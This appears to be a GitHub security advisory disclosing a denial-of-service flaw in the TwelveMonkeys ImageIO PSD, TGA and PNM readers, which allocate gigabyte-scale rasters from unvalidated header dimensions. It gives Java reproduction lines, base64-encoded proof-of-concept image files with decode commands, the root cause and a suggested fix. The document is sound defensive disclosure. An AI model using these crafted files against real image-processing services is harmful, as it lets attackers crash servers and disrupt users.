Skip to main content
Menu
Advisories

Library-wide uncontrolled allocation in TwelveMonkeys ImageIO via unvalidated raster dimensions (DoS)

GHSA-7C3W-M9QH-J2VJPublished Updated GitHub

Description

ImageIO.read via the TwelveMonkeys PSD, TGA, and PNM plugins allocates the destination raster from the declared header dimensions before reading/validating the actual pixel data, through the shared com.twelvemonkeys.imageio.ImageReaderBase.getDestination. A tiny crafted image declaring huge dimensions forces a multi-gigabyte allocation. It is library-wide — the same shared method backs all three plugins.

Impact

On TwelveMonkeys 3.13.1 (latest), JDK 21, ImageIO.read of a tiny crafted file commits a multi-gigabyte raster (measured peak RSS) before raising a catchable EOFException: PSD (40 B) → 2.75 GB, TGA (46 B) → 2.64 GB, PNM (19 B) → 2.02 GB. Because the raster is committed before validation, on a bounded-heap JVM (image servers, thumbnailers, upload pipelines decoding untrusted images via ImageIO) the allocation throws OutOfMemoryError / OOM-kills before the EOFException, and concurrent requests exhaust the heap. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5). CWE-789.

Steps to reproduce

import javax.imageio.ImageIO;
import java.io.File;
// commits ~2–2.75 GB from a 19–46 byte file, then throws EOFException
ImageIO.read(new File("psd.poc"));   // imageio-psd
ImageIO.read(new File("tga.poc"));   // imageio-tga
ImageIO.read(new File("pnm.poc"));   // imageio-pnm

PoCs (GitHub advisories take no attachments — base64-embedded):

base64 -d > psd.poc <<'EOF'
OEJQUwABAAAAAAAAAC8AADpBAAA92QAgAAMAAAAAAAAAAAAAAAAAAA==
EOF
base64 -d > tga.poc <<'EOF'
AAAKAAAAAAAAAAAANji9uyAIJXfC7O9koAw2esCQYMAYwTUX7JRX7bRKaLngdQ==
EOF
base64 -d > pnm.poc <<'EOF'
UDYKMjYwMDAgMjcwMDAKMjU1Cg==
EOF

Verify:

95cee7664eb6fcc6aeeca59e6ef9dc1d47ed79424e6364c8c593e66796d3769e  psd.poc
0211f134ad206409eac21d345e5e0ce0441aad09db474fc12cf10503db3e33d8  tga.poc
9ba66f511506944397e021bfa4662468f96ff8105bc1387185ceda54c6f65fd9  pnm.poc

Root cause

The shared ImageReaderBase.getDestination (around line 327) allocates the destination from the declared raster dimensions, reached from PSDImageReader (~379), TGAImageReader (~175), and PNMImageReader (~206), before validating dimensions against the available data. The PCX plugin already overrides getDestination with a dimension guard, so exposure is plugin-by-plugin (the un-guarded ones are vulnerable).

Suggested fix

Add a dimension/size guard in the shared getDestination (or per plugin, as PCX does): bound the declared width × height × components against the available input length and a configurable maximum before allocating the raster.

Affected versions

References

GitHub · haraldk/TwelveMonkeys